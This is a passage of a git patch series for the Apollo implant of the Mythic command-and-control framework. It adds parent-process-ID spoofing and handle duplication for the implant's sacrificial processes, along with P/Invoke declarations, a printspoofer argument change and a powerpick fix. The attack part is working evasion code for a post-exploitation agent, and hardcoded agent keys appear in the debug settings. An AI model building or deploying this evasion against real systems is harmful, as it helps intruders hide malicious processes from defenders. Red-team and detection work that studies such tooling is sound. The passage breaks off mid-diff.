From ae220b1792b24e54f16606d3965b1f01cefe0a80 Mon Sep 17 00:00:00 2001 From: djh Date: Wed, 7 Jul 2021 09:54:06 -0700 Subject: [PATCH 01/12] adding json modal support --- Payload_Type/apollo/mythic/agent_functions/printspoofer.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/Payload_Type/apollo/mythic/agent_functions/printspoofer.py b/Payload_Type/apollo/mythic/agent_functions/printspoofer.py index b1a842ee..3ca8847d 100644 --- a/Payload_Type/apollo/mythic/agent_functions/printspoofer.py +++ b/Payload_Type/apollo/mythic/agent_functions/printspoofer.py @@ -18,7 +18,10 @@ def __init__(self, command_line): async def parse_arguments(self): if len(self.command_line) == 0: raise Exception("No command line given.\n\tUsage: {}".format(PrintSpooferCommand.help_cmd)) - self.add_arg("command", self.command_line) + if self.command_line[0] == "{": + self.load_args_from_json_string(self.command_line) + else: + self.add_arg("command", self.command_line) self.add_arg("pipe_name", str(uuid4())) From 9b0474cce1c815889265446c1acc09327120e6b1 Mon Sep 17 00:00:00 2001 From: Dwight Hohnstein Date: Fri, 20 Aug 2021 10:13:11 -0700 Subject: [PATCH 02/12] ppid spoofing --- .../apollo/agent_code/Apollo/Apollo.cs | 4 +- .../apollo/agent_code/Apollo/Apollo.csproj | 1 + .../agent_code/Apollo/CommandModules/Ppid.cs | 52 ++++++ .../Apollo/Evasion/EvasionManager.cs | 18 +++ .../apollo/agent_code/Apollo/Native/Enums.cs | 10 +- .../agent_code/Apollo/Native/Methods.cs | 153 ++++++++++++++++++ .../agent_code/Apollo/Native/Structures.cs | 18 ++- .../SacrificialProcess.cs | 91 +++++++++-- .../apollo/agent_code/Apollo/Tasks/Task.cs | 5 + .../apollo/mythic/agent_functions/jobs.py | 2 +- .../apollo/mythic/agent_functions/ppid.py | 47 ++++++ 11 files changed, 378 insertions(+), 23 deletions(-) create mode 100644 Payload_Type/apollo/agent_code/Apollo/CommandModules/Ppid.cs create mode 100644 Payload_Type/apollo/mythic/agent_functions/ppid.py diff --git a/Payload_Type/apollo/agent_code/Apollo/Apollo.cs b/Payload_Type/apollo/agent_code/Apollo/Apollo.cs index c160ac07..129c8bff 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Apollo.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Apollo.cs @@ -22,7 +22,7 @@ class Apollo { #if DEBUG - public static string AgentUUID = "b4609e96-7994-42bd-9c5b-32b0782fc613"; + public static string AgentUUID = "2e3b9405-a923-472e-b7dd-90b562a6354f"; #endif [STAThread] @@ -38,7 +38,7 @@ static void Main(string[] args) } else { - profile = new DefaultProfile(AgentUUID, "ohlhmQqP1u0pwke9JHDHzheYooqRPbNTDJjZIdQawi8="); + profile = new DefaultProfile(AgentUUID, "MHrH1Ui9kdUqZqwEZgRGrVHUcwLI4nejWcQL577smKA="); } #else DefaultProfile profile = new DefaultProfile(); diff --git a/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj b/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj index 8b5f0e65..65ce0d95 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj +++ b/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj @@ -131,6 +131,7 @@ + diff --git a/Payload_Type/apollo/agent_code/Apollo/CommandModules/Ppid.cs b/Payload_Type/apollo/agent_code/Apollo/CommandModules/Ppid.cs new file mode 100644 index 00000000..a788a430 --- /dev/null +++ b/Payload_Type/apollo/agent_code/Apollo/CommandModules/Ppid.cs @@ -0,0 +1,52 @@ +#define COMMAND_NAME_UPPER + +#if DEBUG +#undef PPID +#define PPID +#endif + +#if PPID +using System; +using System.Linq; +using System.Text; +using Apollo.Jobs; +using Apollo.Tasks; +using Apollo.Evasion; +using Newtonsoft.Json; + +namespace Apollo.CommandModules +{ + class Ppid + { + + public struct PpidArgs + { + public int ppid; + } + + /// + /// Change the sacrificial process that's spawned for certain post-exploitation jobs + /// such as execute assembly. Valid taskings are spawnto_x64 and spawnto_x86. If the + /// file does not exist or the file is not of an executable file type, the job + /// will return an error message. + /// + /// Job associated with this task. The filepath is specified by job.Task.parameters. + /// Agent this task is run on. + /// + public static void Execute(Job job, Agent agent) + { + Task task = job.Task; + PpidArgs args = JsonConvert.DeserializeObject(job.Task.parameters); + + int pid = args.ppid; + if (EvasionManager.SetParentProcessId(pid)) + { + job.SetComplete($"Set parent process ID of post-ex jobs to {pid}"); + } else + { + job.SetError($"Failed to set parent process ID to {pid}. Ensure process with ID {pid} is running."); + } + } + } +} +#endif \ No newline at end of file diff --git a/Payload_Type/apollo/agent_code/Apollo/Evasion/EvasionManager.cs b/Payload_Type/apollo/agent_code/Apollo/Evasion/EvasionManager.cs index 8760d395..21e3c4bc 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Evasion/EvasionManager.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Evasion/EvasionManager.cs @@ -3,8 +3,10 @@ #if DEBUG #undef SPAWNTO_x86 #undef SPAWNTO_X64 +#undef PPID #define SPAWNTO_X86 #define SPAWNTO_X64 +#define PPID #endif using Apollo.CommandModules; @@ -23,11 +25,13 @@ internal static class EvasionManager private static string SpawnTo64Args = ""; private static string SpawnTo86 = "C:\\Windows\\SysWOW64\\rundll32.exe"; private static string SpawnTo86Args = ""; + private static int ParentProcessId = System.Diagnostics.Process.GetCurrentProcess().Id; internal struct SacrificialProcessStartupInformation { internal string Application; internal string Arguments; + internal int ParentProcessId; } internal static SacrificialProcessStartupInformation GetSacrificialProcessStartupInformation() @@ -43,6 +47,7 @@ internal static SacrificialProcessStartupInformation GetSacrificialProcessStartu results.Application = SpawnTo86; results.Arguments = SpawnTo86; } + results.ParentProcessId = ParentProcessId; return results; } @@ -73,6 +78,19 @@ internal static bool SetSpawnTo86(string fileName, string args = "") } return bRet; } +#endif +#if PPID + internal static bool SetParentProcessId(int processId) + { + bool bRet = false; + try + { + System.Diagnostics.Process.GetProcessById(processId); + bRet = true; + ParentProcessId = processId; + } catch { } + return bRet; + } #endif } } diff --git a/Payload_Type/apollo/agent_code/Apollo/Native/Enums.cs b/Payload_Type/apollo/agent_code/Apollo/Native/Enums.cs index 9bf435ba..44da3825 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Native/Enums.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Native/Enums.cs @@ -25,6 +25,13 @@ public enum LogonProvider LOGON32_PROVIDER_WINNT50 } + [Flags] + public enum DuplicateOptions : uint + { + DuplicateCloseSource = 0x00000001, + DuplicateSameAccess = 0x00000002 + } + [Flags] public enum CreateProcessFlags { @@ -88,7 +95,8 @@ internal enum ProcessAccessFlags : UInt32 PROCESS_VM_READ = 0x0010, PROCESS_VM_WRITE = 0x0020, SYNCHRONIZE = 0x00100000, - PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFFF + PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFFF, + MAXIMUM_ALLOWED = 0x02000000 } public enum NET_API_STATUS : int diff --git a/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs b/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs index 3da6dc8b..f400d246 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs @@ -18,7 +18,11 @@ internal static class Methods { #region ADVAPI32 + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool SetSecurityDescriptorDacl(ref SECURITY_DESCRIPTOR sd, bool daclPresent, IntPtr dacl, bool daclDefaulted); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool InitializeSecurityDescriptor(out SECURITY_DESCRIPTOR SecurityDescriptor, uint dwRevision); [DllImport("advapi32.dll")] public static extern ManagedClasses.ServiceControlHandle OpenSCManager(string lpMachineName, string lpSCDB, SCM_ACCESS scParameter); @@ -74,6 +78,22 @@ public static extern Boolean CreateProcessAsUser out ProcessInformation lpProcessInformation ); + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern Boolean CreateProcessAsUser + ( + SafeFileHandle hToken, + String lpApplicationName, + String lpCommandLine, + IntPtr lpProcessAttributes, + IntPtr lpThreadAttributes, + Boolean bInheritHandles, + CreateProcessFlags dwCreationFlags, + IntPtr lpEnvironment, + String lpCurrentDirectory, + ref STARTUPINFOEX lpStartupInfo, + out ProcessInformation lpProcessInformation + ); + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern Boolean LogonUser( String lpszUserName, @@ -98,6 +118,20 @@ internal static extern bool CreateProcessAsUserA( STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + [DllImport("advapi32.dll", SetLastError = true)] + internal static extern bool CreateProcessAsUserA( + IntPtr hToken, + string lpApplicationName, + string lpCommandLine, + SECURITY_ATTRIBUTES lpProcessAttributes, + SECURITY_ATTRIBUTES lpThreadAttributes, + bool bInheritHandles, + ProcessCreationFlags dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + STARTUPINFOEX lpStartupInfo, + out PROCESS_INFORMATION lpProcessInformation); + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] internal static extern bool CreateProcessWithLogonW( string lpUsername, @@ -112,6 +146,20 @@ internal static extern bool CreateProcessWithLogonW( [In] ref StartupInfo lpStartupInfo, out ProcessInformation lpProcessInformation); + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + internal static extern bool CreateProcessWithLogonW( + string lpUsername, + string lpDomain, + string lpPassword, + LogonFlags dwLogonFlags, + string lpApplicationName, + string lpCommandLine, + CreateProcessFlags dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + [In] ref STARTUPINFOEX lpStartupInfo, + out ProcessInformation lpProcessInformation); + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] internal static extern bool CreateProcessWithLogonW( string lpUsername, @@ -126,6 +174,20 @@ internal static extern bool CreateProcessWithLogonW( STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + internal static extern bool CreateProcessWithLogonW( + string lpUsername, + string lpDomain, + IntPtr lpPassword, + LogonFlags dwLogonFlags, + string lpApplicationName, + StringBuilder lpCommandLine, + ProcessCreationFlags dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + STARTUPINFOEX lpStartupInfo, + out PROCESS_INFORMATION lpProcessInformation); + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] internal extern static bool DuplicateTokenEx( @@ -166,6 +228,18 @@ internal static extern bool CreateProcessWithTokenW( [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + internal static extern bool CreateProcessWithTokenW( + IntPtr hToken, + IntPtr dwLogonFlags, + string lpApplicationName, + string lpCommandLine, + ProcessCreationFlags dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + [In] ref STARTUPINFOEX lpStartupInfo, + out PROCESS_INFORMATION lpProcessInformation); + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] internal static extern bool CreateProcessWithTokenW( IntPtr hToken, @@ -178,6 +252,18 @@ internal static extern bool CreateProcessWithTokenW( [In] ref StartupInfo lpStartupInfo, out ProcessInformation lpProcessInformation); + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + internal static extern bool CreateProcessWithTokenW( + IntPtr hToken, + LogonFlags dwLogonFlags, + string lpApplicationName, + string lpCommandLine, + CreateProcessFlags dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + [In] ref STARTUPINFOEX lpStartupInfo, + out ProcessInformation lpProcessInformation); + [DllImport("advapi32.dll", SetLastError = true)] internal static extern bool CreateProcessAsUserA( @@ -193,6 +279,20 @@ internal static extern bool CreateProcessAsUserA( STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + [DllImport("advapi32.dll", SetLastError = true)] + internal static extern bool CreateProcessAsUserA( + IntPtr hToken, + string lpApplicationName, + StringBuilder lpCommandLine, + SECURITY_ATTRIBUTES lpProcessAttributes, + SECURITY_ATTRIBUTES lpThreadAttributes, + bool bInheritHandles, + ProcessCreationFlags dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + STARTUPINFOEX lpStartupInfo, + out PROCESS_INFORMATION lpProcessInformation); + [DllImport("kernel32.dll")] public static extern IntPtr LocalFree(IntPtr hMem); @@ -397,6 +497,27 @@ DWORD dwThreadId );*/ + [DllImport("kernel32.dll")] + public static extern bool DuplicateHandle( + IntPtr hSourceProcessHandle, + IntPtr hSourceHandle, + IntPtr hTargetProcessHandle, + ref IntPtr lpTargetHandle, + uint dwDesiredAccess, + bool bInheritHandle, + DuplicateOptions dwOptions + ); + + [DllImport("kernel32.dll")] + public static extern bool DuplicateHandle( + IntPtr hSourceProcessHandle, + SafeFileHandle hSourceHandle, + IntPtr hTargetProcessHandle, + ref SafeFileHandle lpTargetHandle, + uint dwDesiredAccess, + bool bInheritHandle, + DuplicateOptions dwOptions + ); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr OpenThread(ThreadAccessRights dwDesiredAccess, bool bInheritHandle, uint dwThreadId); @@ -437,6 +558,19 @@ internal static extern bool CreateProcessA( ref StartupInfo lpStartupInfo, out ProcessInformation lpProcessInformation); + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool CreateProcessA( + string lpApplicationName, + string lpCommandLine, + IntPtr lpProcessAttributes, + IntPtr lpThreadAttributes, + bool bInheritHandles, + CreateProcessFlags dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + ref STARTUPINFOEX lpStartupInfo, + out ProcessInformation lpProcessInformation); + [DllImport("kernel32.dll", SetLastError = true)] internal static extern bool VirtualProtectEx( IntPtr hProcess, @@ -513,6 +647,25 @@ internal static extern IntPtr OpenProcess( bool bInheritHandle, int dwProcessId); + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool InitializeProcThreadAttributeList( + IntPtr lpAttributeList, + int dwAttributeCount, + int dwFlags, + ref IntPtr lpSize); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool UpdateProcThreadAttribute( + IntPtr lpAttributeList, + uint dwFlags, + IntPtr Attribute, + IntPtr lpValue, + IntPtr cbSize, + IntPtr lpPreviousValue, + IntPtr lpReturnSize); + [DllImport("kernel32.dll")] internal static extern int GetExitCodeThread( IntPtr hThread, diff --git a/Payload_Type/apollo/agent_code/Apollo/Native/Structures.cs b/Payload_Type/apollo/agent_code/Apollo/Native/Structures.cs index c630ba05..7ec3015b 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Native/Structures.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Native/Structures.cs @@ -12,6 +12,18 @@ internal static class Structures { + [StructLayoutAttribute(LayoutKind.Sequential)] + public struct SECURITY_DESCRIPTOR + { + public byte revision; + public byte size; + public short control; + public IntPtr owner; + public IntPtr group; + public IntPtr sacl; + public IntPtr dacl; + } + [StructLayout(LayoutKind.Sequential)] public struct StartupInfo { @@ -39,13 +51,13 @@ public struct StartupInfo [StructLayout(LayoutKind.Sequential)] public class SecurityAttributes { - public Int32 Length; + public Int32 nLength; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; public SecurityAttributes() { - this.Length = Marshal.SizeOf(this); + this.nLength = Marshal.SizeOf(this); } } @@ -363,7 +375,7 @@ public struct TOKEN_PRIVILEGES [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFOEX { - public STARTUPINFO StartupInfo; + public StartupInfo StartupInfo; public IntPtr lpAttributeList; } diff --git a/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs b/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs index 83fd780a..bf209453 100644 --- a/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs +++ b/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs @@ -53,6 +53,7 @@ internal class SacrificialProcess internal string command { get; private set; } private ProcessInformation processInfo = new ProcessInformation(); private StartupInfo startupInfo = new StartupInfo(); + private STARTUPINFOEX startupInfoEx = new STARTUPINFOEX(); private CreateProcessFlags processFlags = CreateProcessFlags.CREATE_UNICODE_ENVIRONMENT; private SecurityAttributes securityAttributes = new SecurityAttributes(); private readonly ManualResetEvent exited = new ManualResetEvent(false); @@ -77,14 +78,18 @@ internal class SacrificialProcess private bool suspend; - private SafeFileHandle hReadOut, hWriteOut, hReadErr, hWriteErr, hReadIn, hWriteIn; + private SafeFileHandle hReadOut, hWriteOut, hReadErr, hWriteErr, hReadIn, hWriteIn, hDupWriteOut = new SafeFileHandle(IntPtr.Zero, true), hDupWriteErr = new SafeFileHandle(IntPtr.Zero, true); private IntPtr unmanagedEnv; private bool Initialize(IntPtr hToken) { bool bRet = false; securityAttributes.bInheritHandle = true; - + //bRet = InitializeSecurityDescriptor(out SECURITY_DESCRIPTOR sd, 1); + //bRet = SetSecurityDescriptorDacl(ref sd, true, IntPtr.Zero, false); + //IntPtr pSd = Marshal.AllocHGlobal(Marshal.SizeOf(sd)); + //Marshal.StructureToPtr(sd, pSd, false); + //securityAttributes.lpSecurityDescriptor = pSd; bRet = CreatePipe(out hReadOut, out hWriteOut, securityAttributes, 0); if (!bRet) throw new Win32Exception(Marshal.GetLastWin32Error()); @@ -101,6 +106,7 @@ private bool Initialize(IntPtr hToken) if (!bRet) throw new Win32Exception(Marshal.GetLastWin32Error()); + IntPtr hDupStdOutWrite; if (!CreateEnvironmentBlock(out unmanagedEnv, hToken, false)) { @@ -117,9 +123,62 @@ private bool Initialize(IntPtr hToken) startupInfo.dwFlags = STARTF.STARTF_USESTDHANDLES | STARTF.STARTF_USESHOWWINDOW; // Wonder if this interferes with stdout? startupInfo.wShowWindow = 0; - startupInfo.hStdOutput = hWriteOut; - startupInfo.hStdError = hWriteErr; - startupInfo.hStdInput = hReadIn; + + + var evasionArgs = Evasion.EvasionManager.GetSacrificialProcessStartupInformation(); + + + IntPtr hParentProc = OpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, evasionArgs.ParentProcessId); + IntPtr lpVal = Marshal.AllocHGlobal(IntPtr.Size); + IntPtr lpSize = IntPtr.Zero; + + Marshal.WriteIntPtr(lpVal, hParentProc); + + var result1 = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); + startupInfoEx.lpAttributeList = Marshal.AllocHGlobal(lpSize); + if (InitializeProcThreadAttributeList(startupInfoEx.lpAttributeList, 1, 0, ref lpSize)) + { + if (UpdateProcThreadAttribute( + startupInfoEx.lpAttributeList, + 0, + (IntPtr)0x00020000, + lpVal, + (IntPtr)IntPtr.Size, + IntPtr.Zero, + IntPtr.Zero)) + { + processFlags |= CreateProcessFlags.EXTENDED_STARTUPINFO_PRESENT; + DuplicateHandle(System.Diagnostics.Process.GetCurrentProcess().Handle, + hWriteOut, + hParentProc, + ref hDupWriteOut, + 0, + true, + DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); + DuplicateHandle(System.Diagnostics.Process.GetCurrentProcess().Handle, + hWriteErr, + hParentProc, + ref hDupWriteErr, + 0, + true, + DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess); + startupInfo.hStdOutput = hDupWriteOut; + startupInfo.hStdError = hDupWriteErr; + startupInfo.hStdInput = hReadIn; + startupInfoEx.StartupInfo = startupInfo; + } else + { + bRet = false; + } + } else + { + bRet = false; + } + + if (!bRet) + { + Marshal.FreeHGlobal(lpVal); + } return bRet; } @@ -198,7 +257,7 @@ public bool Start() processFlags, unmanagedEnv, null, - ref startupInfo, + ref startupInfoEx, out processInfo); if (!bRet) throw new Win32Exception(Marshal.GetLastWin32Error()); @@ -210,9 +269,6 @@ public bool Start() Handle = processInfo.hProcess; PID = (uint)processInfo.dwProcessId; - startupInfo.hStdOutput.Close(); - startupInfo.hStdError.Close(); - startupInfo.hStdInput.Close(); StandardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding); StandardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding); StandardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding); @@ -285,6 +341,7 @@ public bool Start(SafeFileHandle hToken) //success = ImpersonateLoggedOnUser(hToken.DangerousGetHandle()); //if (!success) // return success; + success = CreateProcessAsUser( hToken, null, @@ -295,12 +352,13 @@ public bool Start(SafeFileHandle hToken) processFlags, unmanagedEnv, null, - ref startupInfo, + ref startupInfoEx, out processInfo ); dwError = Marshal.GetLastWin32Error(); if (!success && dwError == Win32Error.ERROR_PRIVILEGE_NOT_HELD) { + success = CreateProcessWithTokenW( hToken.DangerousGetHandle(), LogonFlags.LOGON_NETCREDENTIALS_ONLY, @@ -309,8 +367,9 @@ out processInfo processFlags, unmanagedEnv, null, - ref startupInfo, + ref startupInfoEx, out processInfo); + dwError = Marshal.GetLastWin32Error(); if (!success && dwError == Win32Error.ERROR_PRIVILEGE_NOT_HELD) @@ -327,7 +386,7 @@ out processInfo processFlags, unmanagedEnv, null, - ref startupInfo, + ref startupInfoEx, out processInfo); dwError = Marshal.GetLastWin32Error(); } @@ -339,9 +398,6 @@ out processInfo Handle = processInfo.hProcess; PID = (uint)processInfo.dwProcessId; - startupInfo.hStdOutput.Close(); - startupInfo.hStdError.Close(); - startupInfo.hStdInput.Close(); StandardOutput = new StreamReader(new FileStream(hReadOut, FileAccess.Read), Console.OutputEncoding); StandardError = new StreamReader(new FileStream(hReadErr, FileAccess.Read), Console.OutputEncoding); StandardInput = new StreamWriter(new FileStream(hWriteIn, FileAccess.Write), Console.InputEncoding); @@ -387,7 +443,7 @@ private IEnumerable ReadStream(TextReader stream, dataReceivedDelegate d catch { } } } - System.Threading.Thread.Sleep(1000); + //System.Threading.Thread.Sleep(1000); } output = ""; try @@ -482,6 +538,9 @@ private void WaitForExitAsync() ExitCode = dwExit; else ExitCode = Marshal.GetLastWin32Error(); + startupInfo.hStdOutput.Close(); + startupInfo.hStdError.Close(); + startupInfo.hStdInput.Close(); }); thr.Start(); } diff --git a/Payload_Type/apollo/agent_code/Apollo/Tasks/Task.cs b/Payload_Type/apollo/agent_code/Apollo/Tasks/Task.cs index 1c0f4cb9..38a5a729 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Tasks/Task.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Tasks/Task.cs @@ -1,6 +1,8 @@ #define COMMAND_NAME_UPPER #if DEBUG +#undef PPID +#define PPID #undef BYPASSUAC #define BYPASSUAC #undef CAT @@ -484,6 +486,9 @@ public class Task #if PSEXEC { "psexec", "LateralMovement.PSExec" }, #endif +#if PPID + { "ppid", "Ppid" }, +#endif }; } diff --git a/Payload_Type/apollo/mythic/agent_functions/jobs.py b/Payload_Type/apollo/mythic/agent_functions/jobs.py index 203d7297..bcb2f91d 100644 --- a/Payload_Type/apollo/mythic/agent_functions/jobs.py +++ b/Payload_Type/apollo/mythic/agent_functions/jobs.py @@ -29,7 +29,7 @@ class JobsCommand(CommandBase): author = "@djhohnstein" argument_class = JobsArguments attackmapping = [] - browser_script = BrowserScript(script_name="jobs", author="@its_a_feature_") + browser_script = BrowserScript(script_name="jobs", author="@djhohnstein") async def create_tasking(self, task: MythicTask) -> MythicTask: return task diff --git a/Payload_Type/apollo/mythic/agent_functions/ppid.py b/Payload_Type/apollo/mythic/agent_functions/ppid.py new file mode 100644 index 00000000..baf6cca3 --- /dev/null +++ b/Payload_Type/apollo/mythic/agent_functions/ppid.py @@ -0,0 +1,47 @@ +from mythic_payloadtype_container.MythicCommandBase import * +import json + + +class PpidArguments(TaskArguments): + + def __init__(self, command_line): + super().__init__(command_line) + self.args = { + "ppid": CommandParameter(name="Parent Process ID", type=ParameterType.Number, required=True, default_value=-1), + } + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise Exception("No PPID given on command line.") + if self.command_line[0] == "{": + self.load_args_from_json_string(self.command_line) + else: + try: + self.add_arg("ppid", int(self.command_line)) + except: + raise Exception("Invalid integer given to PPID: {}".format(self.command_line)) + + +class PpidCommand(CommandBase): + cmd = "ppid" + needs_admin = False + help_cmd = "ppid [path] [args]" + description = "Change the default binary used in post exploitation jobs to [path]. If [args] provided, the process is launched with those arguments." + version = 2 + is_exit = False + is_file_browse = False + is_process_list = False + is_download_file = False + is_upload_file = False + is_remove_file = False + author = "@djhohnstein" + argument_class = PpidArguments + attackmapping = ["T1055"] + + async def create_tasking(self, task: MythicTask) -> MythicTask: + pid = task.args.get_arg("ppid") + task.display_params = "{}".format(pid) + return task + + async def process_response(self, response: AgentResponse): + pass \ No newline at end of file From 80d33ec59cbcc11cea774aea9f21ee70d4b30057 Mon Sep 17 00:00:00 2001 From: Dwight Hohnstein Date: Fri, 20 Aug 2021 14:12:02 -0700 Subject: [PATCH 03/12] Fixing powerpick issue where job doesn't complete. Fixed sleep 0 and invalid handle issue --- .../Apollo/CommandModules/PowerShellManager.cs | 1 + .../apollo/agent_code/Apollo/Native/Methods.cs | 16 ++++++++-------- .../agent_code/Apollo/Native/Structures.cs | 2 +- .../SacrificialProcesses/SacrificialProcess.cs | 9 +++++---- 4 files changed, 15 insertions(+), 13 deletions(-) diff --git a/Payload_Type/apollo/agent_code/Apollo/CommandModules/PowerShellManager.cs b/Payload_Type/apollo/agent_code/Apollo/CommandModules/PowerShellManager.cs index 122f05dd..55ff67ec 100644 --- a/Payload_Type/apollo/agent_code/Apollo/CommandModules/PowerShellManager.cs +++ b/Payload_Type/apollo/agent_code/Apollo/CommandModules/PowerShellManager.cs @@ -340,6 +340,7 @@ public static void ExecutePowerPick(AJ.Job job, Agent agent) if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); + job.SetComplete(""); } } } diff --git a/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs b/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs index f400d246..714328e2 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Native/Methods.cs @@ -90,7 +90,7 @@ public static extern Boolean CreateProcessAsUser CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, - ref STARTUPINFOEX lpStartupInfo, + ref StartupInfoEx lpStartupInfo, out ProcessInformation lpProcessInformation ); @@ -129,7 +129,7 @@ internal static extern bool CreateProcessAsUserA( ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, - STARTUPINFOEX lpStartupInfo, + StartupInfoEx lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] @@ -157,7 +157,7 @@ internal static extern bool CreateProcessWithLogonW( CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, - [In] ref STARTUPINFOEX lpStartupInfo, + [In] ref StartupInfoEx lpStartupInfo, out ProcessInformation lpProcessInformation); [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] @@ -185,7 +185,7 @@ internal static extern bool CreateProcessWithLogonW( ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, - STARTUPINFOEX lpStartupInfo, + StartupInfoEx lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); @@ -237,7 +237,7 @@ internal static extern bool CreateProcessWithTokenW( ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, - [In] ref STARTUPINFOEX lpStartupInfo, + [In] ref StartupInfoEx lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] @@ -261,7 +261,7 @@ internal static extern bool CreateProcessWithTokenW( CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, - [In] ref STARTUPINFOEX lpStartupInfo, + [In] ref StartupInfoEx lpStartupInfo, out ProcessInformation lpProcessInformation); @@ -290,7 +290,7 @@ internal static extern bool CreateProcessAsUserA( ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, - STARTUPINFOEX lpStartupInfo, + StartupInfoEx lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); @@ -568,7 +568,7 @@ internal static extern bool CreateProcessA( CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, - ref STARTUPINFOEX lpStartupInfo, + ref StartupInfoEx lpStartupInfo, out ProcessInformation lpProcessInformation); [DllImport("kernel32.dll", SetLastError = true)] diff --git a/Payload_Type/apollo/agent_code/Apollo/Native/Structures.cs b/Payload_Type/apollo/agent_code/Apollo/Native/Structures.cs index 7ec3015b..8c34c569 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Native/Structures.cs +++ b/Payload_Type/apollo/agent_code/Apollo/Native/Structures.cs @@ -373,7 +373,7 @@ public struct TOKEN_PRIVILEGES // This also works with CharSet.Ansi as long as the calling function uses the same character set. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct STARTUPINFOEX + public struct StartupInfoEx { public StartupInfo StartupInfo; public IntPtr lpAttributeList; diff --git a/Payload_Type/apollo/agent_code/Apollo/SacrificialProcesses/SacrificialProcess.cs 